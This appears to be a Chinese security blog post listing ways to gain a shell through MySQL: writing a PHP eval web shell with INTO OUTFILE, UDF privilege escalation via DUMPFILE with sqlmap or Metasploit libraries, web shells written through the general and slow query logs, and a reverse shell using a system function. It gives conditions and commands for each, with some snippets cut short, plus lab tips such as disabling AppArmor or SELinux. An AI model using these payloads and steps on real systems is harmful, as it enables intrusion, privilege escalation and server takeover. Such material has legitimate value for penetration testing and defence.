0x01 利用outfile函数写shell
条件
1.当前数据库用户为root权限
2.secure-file-priv为空(或包含web目录)
3.已知网站的绝对路径且具有写的权限
利用步骤
1 | select '<?php @eval($_POST[1]);?>' into outfile '/var/WWW/shell.php'; |
0x02 利用dumpfile函数进行udf提权
条件
1.root权限执行的Mysql
2.secure_file_priv为空(或包含udf目录)
3.udf目录具有写权限
利用步骤
从sqlmap或msf选择适合目标系统的udf脚本,保存解码并hex后的文件内容(解码步骤参考小知识点))
1 | mysql> show variables like '%plugin%'; #查看udf允许的目录 |
当lib/plugin目录不存在时可以使用NTFS ADS流创建lib、plugin文件夹(windows)
1 | select @@basedir; //查找mysql的目录 |
mysql仅对本地开放端口的情况
1.上传有web页面版的udf.php进行提权
2.上传 Navicat 自带的 tunnel 隧道脚本(php),然后通过Navicat连接,执行提权sql语句即可
udf实验过程遇到的坑点
受到secure_file_priv的目录限制,该默认目录与udf插件的目录不一样,导致dumpfile失败
通过修改/etc/mysql/mysql.conf.d/mysqld.cnf文件secure_file_priv为空
没有写的权限
unbutu通过
service apparmor teardown
关闭apparmor安全模式,并设置/usr/lib/mysql/plugin权限为777
若是centos ,修改/etc/sysconfig/selinux
文件SELINUX=disabled
来禁用安全模式
3.将绝对路径导致so文件找不到,去掉路径即可
0x03 开启全局日志写入shell
前两个利用方法都受到secure_file_priv的限制,我们可以通过全局日志或慢查询日志写shell绕过该限制
条件
1.root权限执行的Mysql
2.网站的绝对路径且具有写入权限
利用步骤
1 | show variables like '%general%'; |
0x04 开启慢查询日志写入shell
条件
1.root权限执行的Mysql
2.网站的绝对路径且具有写入权限
利用步骤
1 | show variables like '%slow_query_log%'; #查看慢查询日志开启情况 |
0x05 利用system函数反弹shell
mysql在5.7版本之后自带有个system函数,可以直接执行命令
条件
1.mysql版本大于5.7
利用步骤
1 | #base64编码后反弹 |
0x06 小知识点
secure_file_priv在不同mysql版本的区别
mysql5.5之前secure_file_priv默认是空,这个情况可以让任何绝对路径写文件,
mysql5.5-5.7,secure_file_priv默认是NULL,限制mysqld 不允许导入 | 导出,
mysql版本5.7之后,secure_file_priv是默认目录,限制mysqld 的导入 | 导出 只能发生在限定目录下。
如何获取该udf.dll(.so)文件的16进制值(hex)
我们可以本地搭建mysql环境 找个可以用的udf.dll文件 执行下面操作
1 | mysql> select hex(load_file ('c:/windows/temp/xxoo.dll')) into outfile 'c:/windows/temp/xxoo.txt'; |
或者使用xxd命令
1 | cat udf.so|xxd -ps |
sqlmap的udf.dll(.so)是通过异或编码的,使用之前需要解码
1 | #解码工具为sqlmap自带的SQLmap\extra\cloak\cloak.py |
dumpfile和outfile有什么不一样
outfile适合导库,会在行末尾会写入新行并转义,因此不能写入二进制可执行文件。
into dumpfile 就能导出 一个完整能执行的2进制文件。
参考
- Post title:通过mysql获取shell的几种方法
- Post author:p0melo
- Create time:2021-06-19 09:30:36
- Post link:2021/06/19/通过mysql获取shell的几种方法/
- Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.